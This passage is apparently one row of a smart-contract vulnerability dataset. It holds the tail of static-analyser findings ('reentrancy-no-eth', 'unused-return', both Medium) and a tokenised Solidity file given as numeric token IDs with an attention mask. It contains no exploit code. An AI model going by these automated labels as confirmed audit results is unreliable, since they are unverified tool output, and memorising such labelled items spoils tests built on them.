'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22275,
20952,
19797,
2629,
2546,
2094,
2683,
2497,
2692,
2549,
2063,
2509,
27717,
16068,
2683,
2549,
2098,
21057,
20952,
3207,
2581,
2063,
2581,
2278,
14526,
2575,
2620,
3540,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
2156,
6105,
1999,
6105,
10975,
8490,
2863,
11113,
11261,
4063,
1058,
2475,
1025,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1021,
1012,
1020,
1025,
8278,
21541,
13808,
16869,
16748,
8844,
1063,
3853,
2544,
1006,
1007,
6327,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
3443,
1006,
1007,
6327,
5651,
1006,
4769,
1007,
1025,
3853,
3988,
4697,
1006,
4769,
4770,
4215,
16200,
4757,
1010,
4769,
3940,
1010,
4769,
10377,
18715,
2368,
1010,
4769,
2051,
7878,
1010,
4769,
8406,
16869,
15603,
4232,
11263,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |